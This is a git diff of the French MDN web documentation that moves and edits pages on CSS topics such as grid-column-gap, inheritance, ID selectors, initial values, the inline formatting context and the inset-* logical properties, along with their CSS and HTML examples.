-grid-column-gap: initial;
-grid-column-gap: unset;
-
- -

Valeurs

- -
-
<length-percentage>
-
La largeur de la « gouttière » placée entre les colonnes de la grille. Pour les valeurs exprimées en pourcentages, elles sont relatives aux dimensions de l'élément englobant.
-
- -

Syntaxe formelle

- -
{{csssyntax}}
- -

Exemples

- -

CSS

- -
#grid {
-  display: grid;
-  height: 100px;
-  grid-template-columns: repeat(3, 1fr);
-  grid-template-rows: 100px;
-  grid-column-gap: 20px;
-}
-
-#grid > div {
-  background-color: lime;
-}
- -

HTML

- -
<div id="grid">
-  <div></div>
-  <div></div>
-  <div></div>
-</div>
- -

Résultat

- -

{{EmbedLiveSample("Exemples", "100%", "100px")}}

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName("CSS3 Box Alignment", "#propdef-grid-column-gap", "grid-column-gap")}}{{Spec2("CSS3 Box Alignment")}}Dépréciée afin d'être remplacée par {{cssxref("column-gap")}}.
{{SpecName("CSS3 Grid", "#gutters", "grid-column-gap")}}{{Spec2("CSS3 Grid")}}Définition initiale.
- -

{{cssinfo}}

- -

Compatibilité des navigateurs

- - - -

{{Compat("css.properties.grid-column-gap")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/css/h\303\251ritage/index.html" "b/files/fr/web/css/h\303\251ritage/index.html" deleted file mode 100644 index c5595da1e4..0000000000 --- "a/files/fr/web/css/h\303\251ritage/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Héritage -slug: Web/CSS/Héritage -tags: - - CSS - - Guide - - Reference -translation_of: Web/CSS/inheritance ---- -
{{CSSRef}}
- -

Pour chaque propriété CSS, la spécification indique si, par défaut, cette propriété est héritée ou non. Cela permet de définir le comportement qu'on observera lorsqu'aucune valeur n'est spécifiée pour une propriété pour un élément donné.

- -

Propriétés héritées

- -

Lorsqu'aucune valeur n'est spécifiée pour une propriété héritée sur un élément, l'élément récupère la valeur calculée de cette propriété appliquée à son élément parent. Seul l'élément racine du document possède la valeur initiale donnée via la spécification.

- -

Un exemple caractéristique d'une propriété héritée est la propriété {{cssxref("color")}}. En définissant la règle de style :

- -
 p { color: green; }
-
- -

Sur le fragment HTML suivant :

- -
 <p>Ce paragraphe contient du <em>texte mis en emphase text</em>.</p>
-
- -

On obtient le résultat suivant :

- -

{{EmbedLiveSample("Propriétés_héritées")}}

- -

Les mots « texte mis en emphase » apparaîtront en vert, car l'élément em a hérité de la valeur de la propriété {{cssxref("color")}} de l'élément p. Il n'obtient pas la valeur initiale de la propriété (qui est la couleur utilisée par l'élément racine lorsque la page ne spécifie aucune couleur).

- -

Propriétés non héritées

- -

Lorsqu'aucune valeur n'est définie pour un élément, pour une propriété non héritée, l'élément prendra la valeur initiale de cette propriété (telle qu'indiquée par la spécification).

- -

Un exemple caractéristique de propriété non héritée est la propriété {{cssxref("border")}}. En définissant la règle de style :

- -
 p { border: medium solid; }
-
- -

Sur le fragment de code HTML :

- -
 <p>Ce paragraphe contient du <em>texte mis en emphase text</em>.</p>
-
- -

On obtient le résultat suivant :

- -

{{EmbedLiveSample("Propriétés_non_héritées")}}

- -

Les mots « texte mis en emphase » n'auront pas de bordure (car la valeur initiale de la propriété {{cssxref("border-style") }} est none).

- -

Notes

- -

Le mot-clé {{cssxref("inherit") }} permet aux auteurs de pages web de définir l'héritage de façon explicite. Il fonctionne aussi bien pour les propriétés héritées que pour celles qui ne sont pas héritées.

- -

Il est possible de contrôler l'héritage de toutes les propriétés grâce à la propriété raccourcie {{cssxref("all")}} afin d'appliquer la valeur indiquée sur toutes les propriétés.

- -

Ainsi :

- -
font: {
-  all: revert;
-  font-size: 200%;
-  font-weight: bold;
-}
- -

permettra d'annuler la mise en forme de l'agent utilisateur pour l'ensemble des propriétés sauf si celles-ci sont fournies via une feuille de styles de l'utilisateur (qui sont alors utilisées). Ensuite, la taille du texte est doublée et celui-ci est mis en gras.

- -

Voir aussi

- - diff --git a/files/fr/web/css/id_selectors/index.html b/files/fr/web/css/id_selectors/index.html new file mode 100644 index 0000000000..aa9a2141bc --- /dev/null +++ b/files/fr/web/css/id_selectors/index.html @@ -0,0 +1,87 @@ +--- +title: Sélecteurs d'ID +slug: Web/CSS/Sélecteurs_d_ID +tags: + - CSS + - Débutant + - Reference + - Sélecteur +translation_of: Web/CSS/ID_selectors +--- +
{{CSSRef("Selectors")}}
+ +

Un sélecteur d'identifiant (ID selector) permet, pour un document HTML, de cibler un élément grâce à la valeur de son attribut {{htmlattrxref("ID")}}. Il faut que la valeur soit exactement la même que celle du sélecteur pour que l'élément soit effectivement ciblé.

+ +
/* L'élément avec l'identifiant id="demo" */
+#demo {
+  border: red 2px solid;
+}
+ +

Syntaxe

+ +
#valeur_identifiant { déclarations }
+ +
+

Note : Cela est équivalent à la notation suivante qui utilise un {{cssxref("Sélecteurs_d_attribut", "sélecteur d'attribut")}}:

+ +
[id=valeur_identifiant] { déclarations }
+
+ +

Exemples

+ +

CSS

+ +
#identifie {
+  background-color: blue;
+}
+
+ +

HTML

+ +
<span id="identifie">Voici un span avec du texte.</span>
+<span>Et un autre (mais sans identifiant).</span>
+
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", 200, 50)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS4 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS4 Selectors")}} 
{{SpecName("CSS3 Selectors", "#id-selectors", "ID selectors")}}{{Spec2("CSS3 Selectors")}} 
{{SpecName("CSS2.1", "selector.html#id-selectors", "ID selectors")}}{{Spec2("CSS2.1")}} 
{{SpecName("CSS1", "#id-as-selector", "ID selectors")}}{{Spec2("CSS1")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.id")}}

diff --git "a/files/fr/web/css/impl\303\251mentation_des_brouillons_css/index.html" "b/files/fr/web/css/impl\303\251mentation_des_brouillons_css/index.html" deleted file mode 100644 index 98f3c88b72..0000000000 --- "a/files/fr/web/css/impl\303\251mentation_des_brouillons_css/index.html" +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Implémentation des fonctionnalités CSS à l'état de brouillon -slug: Web/CSS/Implémentation_des_Brouillons_CSS -tags: - - CSS - - Draft - - NeedsContent -translation_of: Web/CSS/Mozilla_Extensions -translation_of_original: Web/CSS/Draft_Implementations_of_CSS_Features ---- -
{{CSSRef}}{{Draft}}
- -
-

Attention ! Cette page est incomplète et n'est pas à jour. Se référer aux pages suivantes pour plus d'informations :

- - -
- -

Mozilla gère un certain nombre d'extensions CSS préfixées par -moz-. La liste suivante contient toutes les extensions Mozilla correspondant aux  implémentations de fonctionnalités en cours de standardisation par le W3C. Les fonctionnalités propriétaires ne sont pas présentes dans cette liste.

- -

Propriétés

- -

...

- -

Valeurs

- -

...

- -

Pseudo-éléments et pseudo-classes

- -

...

- -

Règles At

- -

...

- -

Requêtes de média

- -

...

- -

Autres

- -

...

diff --git a/files/fr/web/css/index/index.html b/files/fr/web/css/index/index.html deleted file mode 100644 index aa0bcd3253..0000000000 --- a/files/fr/web/css/index/index.html +++ /dev/null @@ -1,10 +0,0 @@ ---- -title: Index de la documentation CSS -slug: Web/CSS/Index -tags: - - CSS - - Index - - MDN Meta -translation_of: Web/CSS/Index ---- -

{{Index("/fr/docs/Web/CSS")}}

diff --git a/files/fr/web/css/inheritance/index.html b/files/fr/web/css/inheritance/index.html new file mode 100644 index 0000000000..c5595da1e4 --- /dev/null +++ b/files/fr/web/css/inheritance/index.html @@ -0,0 +1,76 @@ +--- +title: Héritage +slug: Web/CSS/Héritage +tags: + - CSS + - Guide + - Reference +translation_of: Web/CSS/inheritance +--- +
{{CSSRef}}
+ +

Pour chaque propriété CSS, la spécification indique si, par défaut, cette propriété est héritée ou non. Cela permet de définir le comportement qu'on observera lorsqu'aucune valeur n'est spécifiée pour une propriété pour un élément donné.

+ +

Propriétés héritées

+ +

Lorsqu'aucune valeur n'est spécifiée pour une propriété héritée sur un élément, l'élément récupère la valeur calculée de cette propriété appliquée à son élément parent. Seul l'élément racine du document possède la valeur initiale donnée via la spécification.

+ +

Un exemple caractéristique d'une propriété héritée est la propriété {{cssxref("color")}}. En définissant la règle de style :

+ +
 p { color: green; }
+
+ +

Sur le fragment HTML suivant :

+ +
 <p>Ce paragraphe contient du <em>texte mis en emphase text</em>.</p>
+
+ +

On obtient le résultat suivant :

+ +

{{EmbedLiveSample("Propriétés_héritées")}}

+ +

Les mots « texte mis en emphase » apparaîtront en vert, car l'élément em a hérité de la valeur de la propriété {{cssxref("color")}} de l'élément p. Il n'obtient pas la valeur initiale de la propriété (qui est la couleur utilisée par l'élément racine lorsque la page ne spécifie aucune couleur).

+ +

Propriétés non héritées

+ +

Lorsqu'aucune valeur n'est définie pour un élément, pour une propriété non héritée, l'élément prendra la valeur initiale de cette propriété (telle qu'indiquée par la spécification).

+ +

Un exemple caractéristique de propriété non héritée est la propriété {{cssxref("border")}}. En définissant la règle de style :

+ +
 p { border: medium solid; }
+
+ +

Sur le fragment de code HTML :

+ +
 <p>Ce paragraphe contient du <em>texte mis en emphase text</em>.</p>
+
+ +

On obtient le résultat suivant :

+ +

{{EmbedLiveSample("Propriétés_non_héritées")}}

+ +

Les mots « texte mis en emphase » n'auront pas de bordure (car la valeur initiale de la propriété {{cssxref("border-style") }} est none).

+ +

Notes

+ +

Le mot-clé {{cssxref("inherit") }} permet aux auteurs de pages web de définir l'héritage de façon explicite. Il fonctionne aussi bien pour les propriétés héritées que pour celles qui ne sont pas héritées.

+ +

Il est possible de contrôler l'héritage de toutes les propriétés grâce à la propriété raccourcie {{cssxref("all")}} afin d'appliquer la valeur indiquée sur toutes les propriétés.

+ +

Ainsi :

+ +
font: {
+  all: revert;
+  font-size: 200%;
+  font-weight: bold;
+}
+ +

permettra d'annuler la mise en forme de l'agent utilisateur pour l'ensemble des propriétés sauf si celles-ci sont fournies via une feuille de styles de l'utilisateur (qui sont alors utilisées). Ensuite, la taille du texte est doublée et celui-ci est mis en gras.

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/initial_value/index.html b/files/fr/web/css/initial_value/index.html new file mode 100644 index 0000000000..eedda54344 --- /dev/null +++ b/files/fr/web/css/initial_value/index.html @@ -0,0 +1,53 @@ +--- +title: Valeur initiale +slug: Web/CSS/Valeur_initiale +tags: + - CSS + - Reference +translation_of: Web/CSS/initial_value +--- +
{{CSSRef}}
+ +

La valeur initiale d'une propriété CSS est définie par la spécification et varie selon qu'une propriété est héritée ou non.

+ + + +

Le mot-clé {{cssxref("initial")}} a été ajouté en CSS3 afin de permettre aux auteurs d'utiliser cette valeur de façon explicite.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
CSS Cascade 4 Définition formelle.
{{SpecName("CSS2.1", "cascade.html#specified-value", "initial value")}}{{Spec2("CSS2.1")}}Définition implicite.
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/inline_formatting_context/index.html b/files/fr/web/css/inline_formatting_context/index.html new file mode 100644 index 0000000000..bb40bcce6d --- /dev/null +++ b/files/fr/web/css/inline_formatting_context/index.html @@ -0,0 +1,63 @@ +--- +title: Contexte de formatage en ligne (inline/incise) +slug: Web/CSS/Contexte_de_formatage_en_ligne +tags: + - CSS + - Guide +translation_of: Web/CSS/Inline_formatting_context +--- +

{{CSSRef}}

+ +

Dans cet article, nous allons voir ce qu'est le contexte de formatage en ligne (inline formatting context).

+ +

Concepts-clés

+ +

Le contexte de formatage en ligne est une des méthodes permettant de créer le rendu visuel d'une page web. Les boîtes en ligne sont disposées les unes après les autres selon le mode d'écriture utilisé :

+ +
    +
  • Pour un mode d'écriture horizontal, les boîtes en ligne sont disposées horizontalement de la gauche vers la droite.
    • +
  • Pour une mode d'écriture vertical, les boîtes en lignes sont disposées verticalement du haut vers le bas.
    • +
+ +

Dans l'exemple qui suit, on a deux éléments ({{HTMLElement("div")}}) avec une bordure noire qui forment chacuns un contexte de formatage de bloc au sein duquel chaque mot contribue à un contexte de formatage en ligne. Les boîtes utilisées dans le mode d'écriture horizontal sont organisées horizontalement tandis que celles dans l'élément avec un mode d'écriture vertical sont disposées verticalement.

+ +

{{EmbedGHLiveSample("css-examples/inline-formatting/inline.html", '100%', 720)}}

+ +

Les boîtes qui forment une ligne sont contenues dans une zone rectangulaire qu'on appelle boîte de ligne (line box). Cette boîte sera assez grande pour contenir l'ensemble des boîtes en ligne de cette ligne. Lorsqu'il n'y a plus de place disponible sur l'axe en ligne, une autre ligne est créée. Ainsi, un paragraphe est formé par un ensemble de boîtes de ligne, empilées le long de l'axe de bloc.

+ +

Lorsqu'une boîte en ligne est découpée en deux, les marges, bordures et le remplissage (padding) n'ont pas d'impact visuel à l'emplacement de la séparation. Dans le prochain exemple, on peut voir un élément ({{HTMLElement("span")}}) enveloppant un ensemble de mots s'étirant sur deux lignes. On voit que la bordure sur <span> est coupée au passage à la ligne.

+ +

{{EmbedGHLiveSample("css-examples/inline-formatting/break.html", '100%', 720)}}

+ +

Les marges, les bordures et le remplissage (padding) le long de la direction en ligne sont respectés. Dans l'exemple suivant, on peut voir comment sont ajoutés les marges, bordures et le remplissage à l'élément en ligne <span> qui a été ajouté.

+ +

{{EmbedGHLiveSample("css-examples/inline-formatting/mbp.html", '100%', 920)}}

+ +
+

Note : Dans ces exemples, on utilise les propriétés logiques (relatives à la direction du flux avec le mode d'écriture et la directionnalité) (ex. {{cssxref("padding-inline-start")}} plutôt que {{cssxref("padding-left")}}) afin qu'elles s'appliquent le long de la direction en ligne, que le texte soit horizontal ou vertical. Pour en savoir plus sur ces propriétés, voir les propriétés et les valeurs logiques en CSS.

+
+ +

Alignement sur la direction de bloc (block)

+ +

Les boîtes en ligne peuvent être alignées sur la direction de bloc de différentes façons avec la propriété {{cssxref("vertical-align")}}. Celle-ci permettra d'aligner le contenu sur l'axe de bloc (lorsque le mode d'écriture est vertical, vertical-align ne permet pas d'aligner sur l'axe vertical !). Dans l'exemple qui suit, une portion de texte plus grande rend la boîte de ligne plus grande pour la première phrase. On peut alors utiliser vertical-align afin d'aligner les boîtes en ligne. L'exemple utilise initialement la valeur top mais vous pouvez le modifier en utilisant middle, bottom ou encore baseline.

+ +

{{EmbedGHLiveSample("css-examples/inline-formatting/align.html", '100%', 920)}}

+ +

Alignement le long de la direction en ligne (inline)

+ +

S'il reste de l'espace le long de la direction en ligne, la propriété {{cssxref("text-align")}} permetra d'aligner le contenu des boîtes en lignes au sein des boîtes de ligne. Dans l'exemple qui suit, vous pouvez notamment changer la valeur de text-align afin d'utiliser end.

+ +

{{EmbedGHLiveSample("css-examples/inline-formatting/text-align.html", '100%', 920)}}

+ +

Effets du flottement (float)

+ +

Les boîtes de ligne ont généralement la même taille sur l'axe en ligne (c'est-à-dire la même largeur quand on utilise un mode d'écriture horizontal ou la même hauteur si on utilise un mode d'écriture vertical). S'il existe un élément flottant ({{cssxref("float")}}) au sein du même contexte de formatage de bloc, cet élément entraînera la diminution de la taille des boîtes de ligne pour celles qui entourent l'élément flottant.

+ +

{{EmbedGHLiveSample("css-examples/flow/formatting-contexts/float.html", '100%', 720)}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/css/inset-block-end/index.html b/files/fr/web/css/inset-block-end/index.html new file mode 100644 index 0000000000..42385f1590 --- /dev/null +++ b/files/fr/web/css/inset-block-end/index.html @@ -0,0 +1,126 @@ +--- +title: inset-block-end +slug: inset-block-end +tags: + - CSS + - Experimental + - Propriété + - Reference +translation_of: Web/CSS/inset-block-end +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

La propriété inset-block-end définit la fin du décalage logique en bloc (block) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

+ +
+

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-block-end. Firefox 63 a mis à jour le nom de la propriété afin de s'accorder avec les modifications apportées à la spécification.

+
+ +
/* Valeurs de longueur */
+/* Type <length>       */
+inset-block-end: 3px;
+inset-block-end: 2.4em;
+
+/* Valeurs relatives à la largeur */
+/* du bloc englobant              */
+/* Type <percentage>              */
+inset-block-end: 10%;
+
+/* Valeurs avec un mot-clé */
+inset-block-end: auto;
+
+/* Valeurs globales */
+inset-block-end: inherit;
+inset-block-end: initial;
+inset-block-end: unset;
+
+ +

Elle est liée aux propriétés {{cssxref("inset-block-start")}}, {{cssxref("inset-inline-end")}} et {{cssxref("inset-inline-start")}} qui permettent de définir les autres décalages de l'élément.

+ +

Syntaxe

+ +

Valeurs

+ +

La propriété inset-block-end peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +

HTML

+ +
<div>
+  <p class="exemple">Texte pour l'exemple</p>
+</div>
+
+ +

CSS

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-block-end: 20px;
+  background-color: #c8c800;
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", 140, 140)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-block-end", "inset-block-end")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.properties.inset-block-end")}}

+ +

Voir aussi

+ +
    +
  • Les propriétés physiques correspondantes : +
      +
    • {{cssxref("top")}}
      • +
    • {{cssxref("right")}}
      • +
    • {{cssxref("bottom")}}
      • +
    • {{cssxref("left")}}
      • +
    +
    • +
  • Les autres propriétés qui définissent les décalages logiques +
      +
    • {{cssxref("inset-block-start")}}
      • +
    • {{cssxref("inset-inline-start")}}
      • +
    • {{cssxref("inset-inline-end")}}
      • +
    +
    • +
  • {{cssxref("writing-mode")}}
    • +
  • {{cssxref("direction")}}
    • +
  • {{cssxref("text-orientation")}}
    • +
diff --git a/files/fr/web/css/inset-block-start/index.html b/files/fr/web/css/inset-block-start/index.html new file mode 100644 index 0000000000..a37255de60 --- /dev/null +++ b/files/fr/web/css/inset-block-start/index.html @@ -0,0 +1,124 @@ +--- +title: inset-block-start +slug: inset-block-start +tags: + - CSS + - Experimental + - Propriété + - Reference +translation_of: Web/CSS/inset-block-start +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

La propriété inset-block-start définit le début du décalage logique en bloc (block) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

+ +
+

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-block-start. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification.

+
+ +
/* Valeurs de longueur */
+/* Type <length>       */
+inset-block-start: 3px;
+inset-block-start: 2.4em;
+
+/* Valeurs relatives à la largeur */
+/* du bloc englobant              */
+/* Type <percentage>              */
+inset-block-start: 10%;
+
+/* Valeurs avec un mot-clé */
+inset-block-start: auto;
+
+/* Valeurs globales */
+inset-block-start: inherit;
+inset-block-start: initial;
+inset-block-start: unset;
+
+ +

Syntaxe

+ +

Valeurs

+ +

La propriété inset-block-start peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +

HTML

+ +
<div>
+  <p class="exemple">Texte pour l'exemple</p>
+</div>
+
+ +

CSS

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-block-start: 20px;
+  background-color: #c8c800;
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", 140, 140)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-block-start", "inset-block-start")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.properties.inset-block-start")}}

+ +

Voir aussi

+ +
    +
  • Les propriétés physiques correspondantes : +
      +
    • {{cssxref("top")}}
      • +
    • {{cssxref("right")}}
      • +
    • {{cssxref("bottom")}}
      • +
    • {{cssxref("left")}}
      • +
    +
    • +
  • Les propriétés qui définissent les autres décalages logiques +
      +
    • {{cssxref("inset-block-end")}}
      • +
    • {{cssxref("offset-inline-end")}}
      • +
    • {{cssxref("offset-inline-start")}}
      • +
    +
    • +
  • {{cssxref("writing-mode")}}
    • +
  • {{cssxref("direction")}}
    • +
  • {{cssxref("text-orientation")}}
    • +
diff --git a/files/fr/web/css/inset-inline-end/index.html b/files/fr/web/css/inset-inline-end/index.html new file mode 100644 index 0000000000..0ca3f374a9 --- /dev/null +++ b/files/fr/web/css/inset-inline-end/index.html @@ -0,0 +1,126 @@ +--- +title: inset-inline-end +slug: inset-inline-end +tags: + - CSS + - Experimental + - Propriété + - Reference +translation_of: Web/CSS/inset-inline-end +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

La propriété inset-inline-end définit la fin du décalage logique en ligne (inline) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

+ +
+

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-inline-end. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification.

+
+ +
/* Valeurs de longueur */
+/* Type <length>       */
+inset-inline-end: 3px;
+inset-inline-end: 2.4em;
+
+/* Valeurs relatives à la largeur */
+/* du bloc englobant              */
+/* Type <percentage>              */
+inset-inline-end: 10%;
+
+/* Valeurs avec un mot-clé */
+inset-inline-end: auto;
+
+/* Valeurs globales */
+inset-inline-end: inherit;
+inset-inline-end: initial;
+inset-inline-end: unset;
+
+ +

Elle est liée aux propriétés {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}} et {{cssxref("inset-inline-start")}} qui permettent de définir les autres décalages de l'élément.

+ +

Syntaxe

+ +

Valeurs

+ +

La propriété inset-inline-end peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +

HTML

+ +
<div>
+  <p class="exemple">Texte pour l'exemple</p>
+</div>
+
+ +

CSS

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-inline-end: 20px;
+  background-color: #c8c800;
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", 140, 140)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-inline-end", "inset-inline-end")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.properties.inset-inline-end")}}

+ +

Voir aussi

+ +
    +
  • Les propriétés physiques correspondantes : +
      +
    • {{cssxref("top")}}
      • +
    • {{cssxref("right")}}
      • +
    • {{cssxref("bottom")}}
      • +
    • {{cssxref("left")}}
      • +
    +
    • +
  • {{cssxref("writing-mode")}}
    • +
  • {{cssxref("direction")}}
    • +
  • {{cssxref("text-orientation")}}
    • +
  • Les propriétés qui définissent les autres décalages : +
      +
    • {{cssxref("inset-block-start")}},
      • +
    • {{cssxref("inset-block-end")}},
      • +
    • {{cssxref("inset-inline-start")}}
      • +
    +
    • +
diff --git a/files/fr/web/css/inset-inline-start/index.html b/files/fr/web/css/inset-inline-start/index.html new file mode 100644 index 0000000000..5bd6fd70f9 --- /dev/null +++ b/files/fr/web/css/inset-inline-start/index.html @@ -0,0 +1,120 @@ +--- +title: inset-inline-start +slug: inset-inline-start +tags: + - CSS + - Experimental + - Propriété + - Reference +translation_of: Web/CSS/inset-inline-start +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

La propriété inset-inline-start définit le début du décalage logique en ligne (inline) d'un élément, selon le mode d'écriture, la directionnalité et l'orientation. Elle correspond à une des propriétés parmi {{cssxref("top")}}, {{cssxref("right")}}, {{cssxref("bottom")}} ou  {{cssxref("left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.

+ +
+

Note : Avant Firefox 63, cette propriété était implémentée avec le nom offset-inline-start. Firefox 63 a mis à jour son implémentation afin de suivre les modifications apportées à la spécification.

+
+ +
/* Valeurs de longueur */
+/* Type <length>       */
+inset-inline-start: 3px;
+inset-inline-start: 2.4em;
+
+/* Valeurs relatives à la largeur */
+/* du bloc englobant              */
+/* Type <percentage>              */
+inset-inline-start: 10%;
+
+/* Valeurs avec un mot-clé */
+inset-inline-start: auto;
+
+/* Valeurs globales */
+inset-inline-start: inherit;
+inset-inline-start: initial;
+inset-inline-start: unset;
+
+ +

Elle est liée aux propriétés {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}} et {{cssxref("inset-inline-end")}} qui permettent de définir les autres décalages de l'élément.

+ +

Syntaxe

+ +

Valeurs

+ +

La propriété inset-inline-start peut prendre les mêmes valeurs que la propriété {{cssxref("left")}}.

+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +

HTML

+ +
<div>
+  <p class="exemple">Texte pour l'exemple</p>
+</div>
+
+ +

CSS

+ +
div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  position: relative;
+  inset-inline-start: 20px;
+  background-color: #c8c800;
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", 140, 140)}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaires
{{SpecName("CSS Logical Properties", "#propdef-inset-inline-start", "inset-inline-start")}}{{Spec2("CSS Logical Properties")}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.properties.inset-inline-start")}}

+ +

Voir aussi

+ +
    +
  • Les propriétés physiques correspondantes : +
      +
    • {{cssxref("top")}}
      • +
    • {{cssxref("right")}}
      • +
    • {{cssxref("bottom")}}
      • +
    • {{cssxref("left")}}
      • +
    +
    • +
  • Les autres propriétés qui définissent les autres décalages : {{cssxref("inset-block-start")}}, {{cssxref("inset-block-end")}} et {{cssxref("inset-inline-end")}}
    • +
  • {{cssxref("writing-mode")}}
    • +
  • {{cssxref("direction")}}
    • +
  • {{cssxref("text-orientation")}}
    • +
diff --git "a/files/fr/web/css/jeux_de_caract\303\250res_css/index.html" "b/files/fr/web/css/jeux_de_caract\303\250res_css/index.html" deleted file mode 100644 index a7c76a2c4e..0000000000 --- "a/files/fr/web/css/jeux_de_caract\303\250res_css/index.html" +++ /dev/null @@ -1,50 +0,0 @@ ---- -title: Jeux de caractères CSS -slug: Web/CSS/Jeux_de_caractères_CSS -tags: - - Aperçu - - CSS - - CSS Charsets - - Reference -translation_of: Web/CSS/CSS_Charsets ---- -
{{CSSRef}}
- -

Les jeux de caractères pour CSS est un module CSS qui permet de définir le jeu de caractères utilisé dans les feuilles de style.

- -

Référence

- -

Règles @

- -
-
    -
  • {{cssxref("@charset")}}
    • -
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('CSS2.1', 'syndata.html#x57', '@charset')}}{{Spec2('CSS2.1')}}Définition initiale
- -

Compatibilité des navigateurs

- -

Règle-@ @charset

- - - -

{{Compat("css.at-rules.charset")}}

diff --git "a/files/fr/web/css/layout_cookbook/bas_de_page_adh\303\251rant/index.html" "b/files/fr/web/css/layout_cookbook/bas_de_page_adh\303\251rant/index.html" deleted file mode 100644 index be032d79cd..0000000000 --- "a/files/fr/web/css/layout_cookbook/bas_de_page_adh\303\251rant/index.html" +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Bas de page adhérant -slug: Web/CSS/Layout_cookbook/Bas_de_page_adhérant -tags: - - CSS - - Guide - - Recette -translation_of: Web/CSS/Layout_cookbook/Sticky_footers ---- -
{{CSSRef}}
- -

Un bas de page adhérant est un motif où le bas de page reste en bas de la zone d'affichage (viewport) lorsque le contenu est moins haut que la zone d'affichage. Dans cet article, nous verrons quelques techniques pour parvenir à ce résultat.

- -

A sticky footer pushed to the bottom of a box

- -

Spécifications sommaires

- -

Voici les spécifications rapides pour décrire le résultat qu'on souhaite obtenir :

- -
    -
  • Le pied de page est en bas de la zone d'affichage lorsque le contenu est suffisamment petit
    • -
  • Si le contenu est plus grand que la zone d'affichage, le pied de page est situé sous le contenu.
    • -
- -

Recette

- -

{{EmbedGHLiveSample("css-examples/css-cookbook/sticky-footer.html", '100%', 720)}}

- -
-

Note : Télécharger cet example

-
- -
-

Note : Dans cet exemple, ainsi que dans le suivant, on utilise un élément enveloppant avec min-height: 100% afin que l'exemple intégré à la page fonctionne. Pour reproduire cela sur une page complète, on peut utiliser {{cssxref("min-height")}} avec la valeur 100vh sur l'élément {{htmlelement("body")}} qu'on utilise comme conteneur de grille.

-
- -

